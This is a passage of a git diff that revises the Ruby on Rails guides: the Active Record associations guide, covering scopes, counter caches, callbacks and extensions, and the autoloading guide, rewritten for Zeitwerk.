-[`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F).
+NOTE: There's no need to use `includes` for immediate associations - that is, if
+you have `Book belongs_to :author`, then the author is eager-loaded
+automatically when it's needed.
 
-##### `collection.build(attributes = {})`
+##### `readonly`
 
-The `collection.build` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+If you use `readonly`, then the associated object will be read-only when
+retrieved via the association.
 
 ```ruby
-@assembly = @part.assemblies.build({assembly_name: "Transmission housing"})
+class Book < ApplicationRecord
+  belongs_to :author, -> { readonly }
+end
 ```
 
-##### `collection.create(attributes = {})`
-
-The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+This is useful when you want to prevent the associated object from being
+modified through the association. For example, if you have a `Book` model that
+`belongs_to :author`, you can use `readonly` to prevent the author from being
+modified through the book:
 
 ```ruby
-@assembly = @part.assemblies.create({assembly_name: "Transmission housing"})
+@book.author = Author.first
+@book.author.save! # This will raise an ActiveRecord::ReadOnlyRecord error
 ```
 
-##### `collection.create!(attributes = {})`
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause used to retrieve
+data about the associated object. By default, Rails retrieves all columns.
+
+For example, if you have an `Author` model with many `Book`s, but you only want
+to retrieve the `title` of each book:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, -> { select(:id, :title) } # Only select id and title columns
+end
 
-Does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+class Book < ApplicationRecord
+  belongs_to :author
+end
+```
 
-#### Options for `has_and_belongs_to_many`
+Now, when you access an author's books, only the `id` and `title` columns will
+be retrieved from the `books` table.
 
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+TIP: If you use the `select` method on a `belongs_to` association, you should
+also set the `:foreign_key` option to guarantee correct results. For example:
 
 ```ruby
-class Parts < ApplicationRecord
-  has_and_belongs_to_many :assemblies, -> { readonly },
-                                       autosave: true
+class Book < ApplicationRecord
+  belongs_to :author, -> { select(:id, :name) }, foreign_key: "author_id" # Only select id and name columns
+end
+
+class Author < ApplicationRecord
+  has_many :books
 end
 ```
 
-The `has_and_belongs_to_many` association supports these options:
+In this case, when you access a book's author, only the `id` and `name` columns
+will be retrieved from the `authors` table.
 
-* `:association_foreign_key`
-* `:autosave`
-* `:class_name`
-* `:foreign_key`
-* `:join_table`
-* `:validate`
+#### Collection Scopes
 
-##### `:association_foreign_key`
+`has_many` and `has_and_belongs_to_many` are associations that deal with
+collections of records, so you can use additional methods like `group`, `limit`,
+`order`, `select`, and `distinct` to customize the query used by the
+association.
 
-By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix `_id` added. The `:association_foreign_key` option lets you set the name of the foreign key directly:
+##### `group`
 
-TIP: The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join. For example:
+The `group` method supplies an attribute name to group the result set by, using
+a `GROUP BY` clause in the finder SQL.
 
 ```ruby
-class User < ApplicationRecord
-  has_and_belongs_to_many :friends,
-      class_name: "User",
-      foreign_key: "this_user_id",
-      association_foreign_key: "other_user_id"
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, -> { group "factory" }
 end
 ```
 
-##### `:autosave`
-
-If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-##### `:class_name`
+##### `limit`
 
-If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is `Gadget`, you'd set things up this way:
+The `limit` method lets you restrict the total number of objects that will be
+fetched through an association.
 
 ```ruby
 class Parts < ApplicationRecord
-  has_and_belongs_to_many :assemblies, class_name: "Gadget"
+  has_and_belongs_to_many :assemblies,
+    -> { order("created_at DESC").limit(50) }
 end
 ```
 
-##### `:foreign_key`
+##### `order`
 
-By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+The `order` method dictates the order in which associated objects will be
+received (in the syntax used by an SQL `ORDER BY` clause).
 
 ```ruby
-class User < ApplicationRecord
-  has_and_belongs_to_many :friends,
-      class_name: "User",
-      foreign_key: "this_user_id",
-      association_foreign_key: "other_user_id"
+class Author < ApplicationRecord
+  has_many :books, -> { order "date_confirmed DESC" }
 end
 ```
 
-##### `:join_table`
-
-If the default name of the join table, based on lexical ordering, is not what you want, you can use the `:join_table` option to override the default.
+##### `select`
 
-##### `:validate`
+The `select` method lets you override the SQL `SELECT` clause that is used to
+retrieve data about the associated objects. By default, Rails retrieves all
+columns.
 
-If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+WARNING: If you specify your own `select`, be sure to include the primary key
+and foreign key columns of the associated model. If you do not, Rails will throw
+an error.
 
-#### Scopes for `has_and_belongs_to_many`
+##### `distinct`
 
-There may be times when you wish to customize the query used by `has_and_belongs_to_many`. Such customizations can be achieved via a scope block. For example:
+Use the `distinct` method to keep the collection free of duplicates. This is
+mostly useful together with the `:through` option.
 
 ```ruby
-class Parts < ApplicationRecord
-  has_and_belongs_to_many :assemblies, -> { where active: true }
+class Person < ApplicationRecord
+  has_many :readings
+  has_many :articles, through: :readings
 end
 ```
 
-You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
-
-* `where`
-* `extending`
-* `group`
-* `includes`
-* `limit`
-* `offset`
-* `order`
-* `readonly`
-* `select`
-* `distinct`
+```irb
+irb> person = Person.create(name: 'John')
+irb> article = Article.create(name: 'a1')
+irb> person.articles << article
+irb> person.articles << article
+irb> person.articles.to_a
+=> [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">]
+irb> Reading.all.to_a
+=> [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>]
+```
 
-##### `where`
+In the above case there are two readings and `person.articles` brings out both
+of them even though these records are pointing to the same article.
 
-The `where` method lets you specify the conditions that the associated object must meet.
+Now let's set `distinct`:
 
 ```ruby
-class Parts < ApplicationRecord
-  has_and_belongs_to_many :assemblies,
-    -> { where "factory = 'Seattle'" }
+class Person
+  has_many :readings
+  has_many :articles, -> { distinct }, through: :readings
 end
 ```
 
-You can also set conditions via a hash:
-
-```ruby
-class Parts < ApplicationRecord
-  has_and_belongs_to_many :assemblies,
-    -> { where factory: 'Seattle' }
-end
+```irb
+irb> person = Person.create(name: 'Honda')
+irb> article = Article.create(name: 'a1')
+irb> person.articles << article
+irb> person.articles << article
+irb> person.articles.to_a
+=> [#<Article id: 7, name: "a1">]
+irb> Reading.all.to_a
+=> [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>]
 ```
 
-If you use a hash-style `where`, then record creation via this association will be automatically scoped using the hash. In this case, using `@parts.assemblies.create` or `@parts.assemblies.build` will create orders where the `factory` column has the value "Seattle".
+In the above case there are still two readings. However `person.articles` shows
+only one article because the collection loads only unique records.
 
-##### `extending`
+If you want to make sure that, upon insertion, all of the records in the
+persisted association are distinct (so that you can be sure that when you
+inspect the association that you will never find duplicate records), you should
+add a unique index on the table itself. For example, if you have a table named
+`readings` and you want to make sure the articles can only be added to a person
+once, you could add the following in a migration:
 
-The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions).
+```ruby
+add_index :readings, [:person_id, :article_id], unique: true
+```
 
-##### `group`
+Once you have this unique index, attempting to add the article to a person twice
+will raise an `ActiveRecord::RecordNotUnique` error:
+
+```irb
+irb> person = Person.create(name: 'Honda')
+irb> article = Article.create(name: 'a1')
+irb> person.articles << article
+irb> person.articles << article
+ActiveRecord::RecordNotUnique
+```
 
-The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+Note that checking for uniqueness using something like `include?` is subject to
+race conditions. Do not attempt to use `include?` to enforce distinctness in an
+association. For instance, using the article example from above, the following
+code would be racy because multiple users could be attempting this at the same
+time:
 
 ```ruby
-class Parts < ApplicationRecord
-  has_and_belongs_to_many :assemblies, -> { group "factory" }
-end
+person.articles << article unless person.articles.include?(article)
 ```
 
-##### `includes`
-
-You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used.
+#### Using the Association Owner
 
-##### `limit`
+You can pass the owner of the association as a single argument to the scope
+block for even more control over the association scope. However, be aware that
+doing this will make preloading the association impossible.
 
-The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+For example:
 
 ```ruby
-class Parts < ApplicationRecord
-  has_and_belongs_to_many :assemblies,
-    -> { order("created_at DESC").limit(50) }
+class Supplier < ApplicationRecord
+  has_one :account, ->(supplier) { where active: supplier.active? }
 end
 ```
 
-##### `offset`
+In this example, the `account` association of the `Supplier` model is scoped
+based on the `active` status of the supplier.
 
-The `offset` method lets you specify the starting offset for fetching objects via an association. For example, if you set `offset(11)`, it will skip the first 11 records.
+By utilizing association extensions and scoping with the association owner, you
+can create more dynamic and context-aware associations in your Rails
+applications.
 
-##### `order`
+### Counter Cache
 
-The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+The `:counter_cache` option in Rails helps improve the efficiency of finding the
+number of associated objects. Consider the following models:
 
 ```ruby
-class Parts < ApplicationRecord
-  has_and_belongs_to_many :assemblies,
-    -> { order "assembly_name ASC" }
+class Book < ApplicationRecord
+  belongs_to :author
 end
-```
-
-##### `readonly`
-
-If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
 
-##### `select`
+class Author < ApplicationRecord
+  has_many :books
+end
+```
 
-The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+By default, querying `author.books.size` results in a database call to perform a
+`COUNT(*)` query. To optimize this, you can add a counter cache to the
+_belonging_ model (in this case, `Book`). This way, Rails can return the count
+directly from the cache without querying the database.
 
-##### `distinct`
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author, counter_cache: true
+end
 
-Use the `distinct` method to remove duplicates from the collection.
+class Author < ApplicationRecord
+  has_many :books
+end
+```
 
-#### When are Objects Saved?
+With this declaration, Rails will keep the cache value up to date, and then
+return that value in response to the `size` method, avoiding the database call.
 
-When you assign an object to a `has_and_belongs_to_many` association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
+Although the `:counter_cache` option is specified on the model with the
+`belongs_to` declaration, the actual column must be added to the _associated_
+(in this case `has_many`) model. In this example, you need to add a
+`books_count` column to the `Author` model:
 
-If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+```ruby
+class AddBooksCountToAuthors < ActiveRecord::Migration[8.2]
+  def change
+    add_column :authors, :books_count, :integer, default: 0, null: false
+  end
+end
+```
 
-If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+You can specify a custom column name in the `counter_cache` declaration instead
+of using the default `books_count`. For example, to use `count_of_books`:
 
-If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `collection.build` method.
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author, counter_cache: :count_of_books
+end
 
-### Association Callbacks
+class Author < ApplicationRecord
+  has_many :books
+end
+```
 
-Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a `:before_save` callback to cause something to happen just before an object is saved.
+NOTE: You only need to specify the `:counter_cache` option on the `belongs_to`
+side of the association.
 
-Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:
+Using counter caches on existing large tables can be troublesome. To avoid
+locking the table for too long, the column values must be backfilled separately
+from the column addition. This backfill must also happen before using
+`:counter_cache`; otherwise, methods like `size`, `any?`, etc., which rely on
+counter caches, may return incorrect results.
+
+To backfill values safely while keeping counter cache columns updated with child
+record creation/removal and ensuring methods always get results from the
+database (avoiding potentially incorrect counter cache values), use
+`counter_cache: { active: false }`. This setting ensures that methods always
+fetch results from the database, avoiding incorrect values from an uninitialized
+counter cache. If you need to specify a custom column name, use `counter_cache:
+{ active: false, column: :my_custom_counter }`.
+
+If for some reason you change the value of an owner model's primary key, and do
+not also update the foreign keys of the counted models, then the counter cache
+may have stale data. In other words, any orphaned models will still count
+towards the counter. To fix a stale counter cache, use
+[`reset_counters`](https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-reset_counters).
+
+### Callbacks
+
+[Normal callbacks](active_record_callbacks.html) hook into the life cycle of
+Active Record objects, allowing you to work with those objects at various
+points. For example, you can use a `:before_save` callback to cause something to
+happen just before an object is saved.
+
+Association callbacks are similar to normal callbacks, but they are triggered by
+events in the life cycle of a collection associated with an Active Record
+object. There are four available association callbacks:
 
 * `before_add`
 * `after_add`
 * `before_remove`
 * `after_remove`
 
-You define association callbacks by adding options to the association declaration. For example:
+You define association callbacks by adding options to the association
+declaration. For example:
 
 ```ruby
 class Author < ApplicationRecord
   has_many :books, before_add: :check_credit_limit
 
   def check_credit_limit(book)
-    ...
+    throw(:abort) if limit_reached?
   end
 end
 ```
 
-Rails passes the object being added or removed to the callback.
-
-You can stack callbacks on a single event by passing them as an array:
-
-```ruby
-class Author < ApplicationRecord
-  has_many :books,
-    before_add: [:check_credit_limit, :calculate_shipping_charges]
+In this example, the `Author` model has a `has_many` association with `books`.
+The `before_add` callback `check_credit_limit` is triggered before a book is
+added to the collection. If the `limit_reached?` method returns `true`, the book
+is not added to the collection.
 
-  def check_credit_limit(book)
-    ...
-  end
+By using these association callbacks, you can customize the behavior of your
+associations, ensuring that specific actions are taken at key points in the life
+cycle of your collections.
 
-  def calculate_shipping_charges(book)
-    ...
-  end
-end
-```
+Read more about association callbacks in the [Active Record Callbacks
+Guide](active_record_callbacks.html#association-callbacks)
 
-If a `before_add` callback throws an exception, the object does not get added to the collection. Similarly, if a `before_remove` callback throws an exception, the object does not get removed from the collection.
+### Extensions
 
-### Association Extensions
+Rails provides the ability to extend the functionality of association proxy
+objects, which manage associations, by adding new finders, creators, or other
+methods through anonymous modules. This feature allows you to customize
+associations to meet the specific needs of your application.
 
-You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
+You can extend a `has_many` association with custom methods directly within the
+model definition. For example:
 
 ```ruby
 class Author < ApplicationRecord
@@ -2339,7 +3268,12 @@ class Author < ApplicationRecord
 end
 ```
 
-If you have an extension that should be shared by many associations, you can use a named extension module. For example:
+In this example, the `find_by_book_prefix` method is added to the `books`
+association of the `Author` model. This custom method allows you to find `books`
+based on a specific prefix of the `book_number`.
+
+If you have an extension that should be shared by multiple associations, you can
+use a named extension module. For example:
 
 ```ruby
 module FindRecentExtension
@@ -2357,72 +3291,44 @@ class Supplier < ApplicationRecord
 end
 ```
 
-Extensions can refer to the internals of the association proxy using these three attributes of the `proxy_association` accessor:
-
-* `proxy_association.owner` returns the object that the association is a part of.
-* `proxy_association.reflection` returns the reflection object that describes the association.
-* `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`.
-
-Single Table Inheritance
-------------------------
-
-Sometimes, you may want to share fields and behavior between different models.
-Let's say we have Car, Motorcycle and Bicycle models. We will want to share
-the `color` and `price` fields and some methods for all of them, but having some
-specific behavior for each, and separated controllers too.
-
-Rails makes this quite easy. First, let's generate the base Vehicle model:
-
-```bash
-$ rails generate model vehicle type:string color:string price:decimal{10.2}
-```
-
-Did you note we are adding a "type" field? Since all models will be saved in a
-single database table, Rails will save in this column the name of the model that
-is being saved. In our example, this can be "Car", "Motorcycle" or "Bicycle."
-STI won't work without a "type" field in the table.
+In this case, the `FindRecentExtension` module is used to add a `find_recent`
+method to both the `books` association in the `Author` model and the
+`deliveries` association in the `Supplier` model. This method retrieves records
+created within the last five days.
 
-Next, we will generate the three models that inherit from Vehicle. For this,
-we can use the `--parent=PARENT` option, which will generate a model that
-inherits from the specified parent and without equivalent migration (since the
-table already exists).
+Extensions can interact with the internals of the association proxy using the
+`proxy_association` accessor. The `proxy_association` provides three important
+attributes:
 
-For example, to generate the Car model:
+* `proxy_association.owner` returns the object that the association is a part
+  of.
+* `proxy_association.reflection` returns the reflection object that describes
+  the association.
+* `proxy_association.target` returns the associated object for `belongs_to` or
+  `has_one`, or the collection of associated objects for `has_many` or
+  `has_and_belongs_to_many`.
 
-```bash
-$ rails generate model car --parent=Vehicle
-```
+These attributes allow extensions to access and manipulate the association
+proxy's internal state and behavior.
 
-The generated model will look like this:
+Here's an advanced example demonstrating how to use these attributes in an
+extension:
 
 ```ruby
-class Car < Vehicle
+module AdvancedExtension
+  def find_and_log(query)
+    results = where(query)
+    proxy_association.owner.logger.info("Querying #{proxy_association.reflection.name} with #{query}")
+    results
+  end
 end
-```
-
-This means that all behavior added to Vehicle is available for Car too, as
-associations, public methods, etc.
-
-Creating a car will save it in the `vehicles` table with "Car" as the `type` field:
-
-```ruby
-Car.create(color: 'Red', price: 10000)
-```
-
-will generate the following SQL:
-
-```sql
-INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000)
-```
 
-Querying car records will just search for vehicles that are cars:
-
-```ruby
-Car.all
+class Author < ApplicationRecord
+  has_many :books, -> { extending AdvancedExtension }
+end
 ```
 
-will run a query like:
-
-```sql
-SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car')
-```
+In this example, the `find_and_log` method performs a query on the association
+and logs the query details using the owner's logger. The method accesses the
+owner's logger via `proxy_association.owner` and the association's name via
+`proxy_association.reflection.name`.
diff --git a/guides/source/autoloading_and_reloading_constants.md b/guides/source/autoloading_and_reloading_constants.md
index 61657023e73ed..6c60898591de7 100644
--- a/guides/source/autoloading_and_reloading_constants.md
+++ b/guides/source/autoloading_and_reloading_constants.md
@@ -1,32 +1,32 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Autoloading and Reloading Constants
 ===================================
 
-This guide documents how constant autoloading and reloading works.
+This guide documents how autoloading and reloading works in `zeitwerk` mode.
 
 After reading this guide, you will know:
 
-* Key aspects of Ruby constants
-* What is `autoload_paths`
-* How constant autoloading works
-* What is `require_dependency`
-* How constant reloading works
-* Solutions to common autoloading gotchas
+* Related Rails configuration
+* Project structure
+* Autoloading, reloading, and eager loading
+* Single Table Inheritance
+* And more
 
 --------------------------------------------------------------------------------
 
-
 Introduction
 ------------
 
-Ruby on Rails allows applications to be written as if their code was preloaded.
+INFO. This guide documents autoloading, reloading, and eager loading in Rails applications.
 
-In a normal Ruby program classes need to load their dependencies:
+In an ordinary Ruby program, you explicitly load the files that define classes and modules you want to use. For example, the following controller refers to `ApplicationController` and `Post`, and you'd normally issue `require` calls for them:
 
 ```ruby
-require 'application_controller'
-require 'post'
+# DO NOT DO THIS.
+require "application_controller"
+require "post"
+# DO NOT DO THIS.
 
 class PostsController < ApplicationController
   def index
@@ -35,16 +35,7 @@ class PostsController < ApplicationController
 end
 ```
 
-Our Rubyist instinct quickly sees some redundancy in there: If classes were
-defined in files matching their name, couldn't their loading be automated
-somehow? We could save scanning the file for dependencies, which is brittle.
-
-Moreover, `Kernel#require` loads files once, but development is much more smooth
-if code gets refreshed when it changes without restarting the server. It would
-be nice to be able to use `Kernel#load` in development, and `Kernel#require` in
-production.
-
-Indeed, those features are provided by Ruby on Rails, where we just write
+This is not the case in Rails applications, where application classes and modules are just available everywhere without `require` calls:
 
 ```ruby
 class PostsController < ApplicationController
@@ -54,1262 +45,650 @@ class PostsController < ApplicationController
 end
 ```
 
-This guide documents how that works.
+Rails _autoloads_ them on your behalf if needed. This is possible thanks to a couple of [Zeitwerk](https://github.com/fxn/zeitwerk) loaders Rails sets up on your behalf, which provide autoloading, reloading, and eager loading.
 
+On the other hand, those loaders do not manage anything else. In particular, they do not manage the Ruby standard library, gem dependencies, Rails components themselves, or even (by default) the application `lib` directory. That code has to be loaded as usual.
 
-Constants Refresher
--------------------
 
-While constants are trivial in most programming languages, they are a rich
-topic in Ruby.
+Project Structure
+-----------------
 
-It is beyond the scope of this guide to document Ruby constants, but we are
-nevertheless going to highlight a few key topics. Truly grasping the following
-sections is instrumental to understanding constant autoloading and reloading.
+In a Rails application file names have to match the constants they define, with directories acting as namespaces.
 
-### Nesting
+For example, the file `app/helpers/users_helper.rb` should define `UsersHelper` and the file `app/controllers/admin/payments_controller.rb` should define `Admin::PaymentsController`.
 
-Class and module definitions can be nested to create namespaces:
+By default, Rails configures Zeitwerk to inflect file names with `String#camelize`. For example, it expects that `app/controllers/users_controller.rb` defines the constant `UsersController` because that is what `"users_controller".camelize` returns.
 
-```ruby
-module XML
-  class SAXParser
-    # (1)
-  end
-end
-```
+The section _Customizing Inflections_ below documents ways to override this default.
 
-The *nesting* at any given place is the collection of enclosing nested class and
-module objects outwards. The nesting at any given place can be inspected with
-`Module.nesting`. For example, in the previous example, the nesting at
-(1) is
+Please, check the [Zeitwerk documentation](https://github.com/fxn/zeitwerk#file-structure) for further details.
 
-```ruby
-[XML::SAXParser, XML]
-```
+config.autoload_paths
+---------------------
 
-It is important to understand that the nesting is composed of class and module
-*objects*, it has nothing to do with the constants used to access them, and is
-also unrelated to their names.
+We refer to the list of application directories whose contents are to be autoloaded and (optionally) reloaded as _autoload paths_. For example, `app/models`. Such directories represent the root namespace: `Object`.
 
-For instance, while this definition is similar to the previous one:
+INFO. Autoload paths are called _root directories_ in Zeitwerk documentation, but we'll stay with "autoload path" in this guide.
 
-```ruby
-class XML::SAXParser
-  # (2)
-end
-```
+Within an autoload path, file names must match the constants they define as documented [here](https://github.com/fxn/zeitwerk#file-structure).
 
-the nesting in (2) is different:
+By default, the autoload paths of an application consist of all the subdirectories of `app` that exist when the application boots ---except for `assets`, `javascript`, and `views`--- plus the autoload paths of engines it might depend on.
 
-```ruby
-[XML::SAXParser]
-```
+For example, if `UsersHelper` is implemented in `app/helpers/users_helper.rb`, the module is autoloadable, you do not need (and should not write) a `require` call for it:
 
-`XML` does not belong to it.
+```bash
+$ bin/rails runner 'p UsersHelper'
+UsersHelper
+```
 
-We can see in this example that the name of a class or module that belongs to a
-certain nesting does not necessarily correlate with the namespaces at the spot.
+Rails adds custom directories under `app` to the autoload paths automatically. For example, if your application has `app/presenters`, you don't need to configure anything in order to autoload presenters; it works out of the box.
 
-Even more, they are totally independent, take for instance
+The array of default autoload paths can be extended by pushing to `config.autoload_paths`, in `config/application.rb` or `config/environments/*.rb`. For example:
 
 ```ruby
-module X
-  module Y
-  end
-end
-
-module A
-  module B
-  end
-end
-
-module X::Y
-  module A::B
-    # (3)
+module MyApplication
+  class Application < Rails::Application
+    config.autoload_paths << "#{root}/extras"
   end
 end
 ```
 
-The nesting in (3) consists of two module objects:
-
-```ruby
-[A::B, X::Y]
-```
-
-So, it not only doesn't end in `A`, which does not even belong to the nesting,
-but it also contains `X::Y`, which is independent from `A::B`.
-
-The nesting is an internal stack maintained by the interpreter, and it gets
-modified according to these rules:
+Also, engines can push in body of the engine class and in their own `config/environments/*.rb`.
 
-* The class object following a `class` keyword gets pushed when its body is
-executed, and popped after it.
+WARNING. Please do not mutate `ActiveSupport::Dependencies.autoload_paths`; the public interface to change autoload paths is `config.autoload_paths`.
 
-* The module object following a `module` keyword gets pushed when its body is
-executed, and popped after it.
+WARNING: You cannot autoload code in the autoload paths while the application boots. In particular, directly in `config/initializers/*.rb`. Please check [_Autoloading when the application boots_](#autoloading-when-the-application-boots) down below for valid ways to do that.
 
-* A singleton class opened with `class << object` gets pushed, and popped later.
+The autoload paths are managed by the `Rails.autoloaders.main` autoloader.
 
-* When `instance_eval` is called using a string argument,
-the singleton class of the receiver is pushed to the nesting of the eval'ed
-code. When `class_eval` or `module_eval` is called using a string argument,
-the receiver is pushed to the nesting of the eval'ed code.
+config.autoload_lib(ignore:)
+----------------------------
 
-* The nesting at the top-level of code interpreted by `Kernel#load` is empty
-unless the `load` call receives a true value as second argument, in which case
-a newly created anonymous module is pushed by Ruby.
+By default, the `lib` directory does not belong to the autoload paths of applications or engines.
 
-It is interesting to observe that blocks do not modify the stack. In particular
-the blocks that may be passed to `Class.new` and `Module.new` do not get the
-class or module being defined pushed to their nesting. That's one of the
-differences between defining classes and modules in one way or another.
+The configuration method `config.autoload_lib` adds the `lib` directory to `config.autoload_paths` and `config.eager_load_paths`. It has to be invoked from `config/application.rb` or `config/environments/*.rb`, and it is not available for engines.
 
-### Class and Module Definitions are Constant Assignments
-
-Let's suppose the following snippet creates a class (rather than reopening it):
+Normally, `lib` has subdirectories that should not be managed by the autoloaders. Please, pass their name relative to `lib` in the required `ignore` keyword argument. For example:
 
 ```ruby
-class C
-end
+config.autoload_lib(ignore: %w(assets tasks))
 ```
 
-Ruby creates a constant `C` in `Object` and stores in that constant a class
-object. The name of the class instance is "C", a string, named after the
-constant.
+Why? While `assets` and `tasks` share the `lib` directory with regular Ruby code, their contents are not meant to be reloaded or eager loaded.
 
-That is,
+The `ignore` list should have all `lib` subdirectories that do not contain files with `.rb` extension, or that should not be reloaded or eager loaded. For example,
 
 ```ruby
-class Project < ApplicationRecord
-end
+config.autoload_lib(ignore: %w(assets tasks templates generators middleware))
 ```
 
-performs a constant assignment equivalent to
+`config.autoload_lib` is not available before 7.1, but you can still emulate it as long as the application uses Zeitwerk:
 
 ```ruby
-Project = Class.new(ApplicationRecord)
-```
+# config/application.rb
+module MyApp
+  class Application < Rails::Application
+    lib = root.join("lib")
 
-including setting the name of the class as a side-effect:
+    config.autoload_paths << lib
+    config.eager_load_paths << lib
 
-```ruby
-Project.name # => "Project"
+    Rails.autoloaders.main.ignore(
+      lib.join("assets"),
+      lib.join("tasks"),
+      lib.join("generators")
+    )
+
+    # ...
+  end
+end
 ```
 
-Constant assignment has a special rule to make that happen: if the object
-being assigned is an anonymous class or module, Ruby sets the object's name to
-the name of the constant.
+config.autoload_once_paths
+--------------------------
 
-INFO. From then on, what happens to the constant and the instance does not
-matter. For example, the constant could be deleted, the class object could be
-assigned to a different constant, be stored in no constant anymore, etc. Once
-the name is set, it doesn't change.
+You may want to be able to autoload classes and modules without reloading them. The `autoload_once_paths` configuration stores code that can be autoloaded, but won't be reloaded.
 
-Similarly, module creation using the `module` keyword as in
+By default, this collection is empty, but you can extend it pushing to `config.autoload_once_paths`. You can do so in `config/application.rb` or `config/environments/*.rb`. For example:
 
 ```ruby
-module Admin
+module MyApplication
+  class Application < Rails::Application
+    config.autoload_once_paths << "#{root}/app/serializers"
+  end
 end
 ```
 
-performs a constant assignment equivalent to
+Also, engines can push in body of the engine class and in their own `config/environments/*.rb`.
 
-```ruby
-Admin = Module.new
-```
+INFO. If `app/serializers` is pushed to `config.autoload_once_paths`, Rails no longer considers this an autoload path, despite being a custom directory under `app`. This setting overrides that rule.
+
+This is key for classes and modules that are cached in places that survive reloads, like the Rails framework itself.
 
-including setting the name as a side-effect:
+For example, Active Job serializers are stored inside Active Job:
 
 ```ruby
-Admin.name # => "Admin"
+# config/initializers/custom_serializers.rb
+Rails.application.config.active_job.custom_serializers << MoneySerializer
 ```
 
-WARNING. The execution context of a block passed to `Class.new` or `Module.new`
-is not entirely equivalent to the one of the body of the definitions using the
-`class` and `module` keywords. But both idioms result in the same constant
-assignment.
+and Active Job itself is not reloaded when there's a reload, only application and engines code in the autoload paths is.
 
-Thus, when one informally says "the `String` class", that really means: the
-class object stored in the constant called "String" in the class object stored
-in the `Object` constant. `String` is otherwise an ordinary Ruby constant and
-everything related to constants such as resolution algorithms applies to it.
+Making `MoneySerializer` reloadable would be confusing, because reloading an edited version would have no effect on that class object stored in Active Job. Indeed, if `MoneySerializer` was reloadable, starting with Rails 7 such initializer would raise a `NameError`.
 
-Likewise, in the controller
+Another use case is when engines decorate framework classes:
 
 ```ruby
-class PostsController < ApplicationController
-  def index
-    @posts = Post.all
+initializer "decorate ActionController::Base" do
+  ActiveSupport.on_load(:action_controller_base) do
+    include MyDecoration
   end
 end
 ```
 
-`Post` is not syntax for a class. Rather, `Post` is a regular Ruby constant. If
-all is good, the constant is evaluated to an object that responds to `all`.
-
-That is why we talk about *constant* autoloading, Rails has the ability to
-load constants on the fly.
-
-### Constants are Stored in Modules
-
-Constants belong to modules in a very literal sense. Classes and modules have
-a constant table; think of it as a hash table.
+There, the module object stored in `MyDecoration` by the time the initializer runs becomes an ancestor of `ActionController::Base`, and reloading `MyDecoration` is pointless, it won't affect that ancestor chain.
 
-Let's analyze an example to really understand what that means. While common
-abuses of language like "the `String` class" are convenient, the exposition is
-going to be precise here for didactic purposes.
-
-Let's consider the following module definition:
+Classes and modules from the autoload once paths can be autoloaded in `config/initializers`. So, with that configuration this works:
 
 ```ruby
-module Colors
-  RED = '0xff0000'
-end
+# config/initializers/custom_serializers.rb
+Rails.application.config.active_job.custom_serializers << MoneySerializer
 ```
 
-First, when the `module` keyword is processed, the interpreter creates a new
-entry in the constant table of the class object stored in the `Object` constant.
-Said entry associates the name "Colors" to a newly created module object.
-Furthermore, the interpreter sets the name of the new module object to be the
-string "Colors".
-
-Later, when the body of the module definition is interpreted, a new entry is
-created in the constant table of the module object stored in the `Colors`
-constant. That entry maps the name "RED" to the string "0xff0000".
-
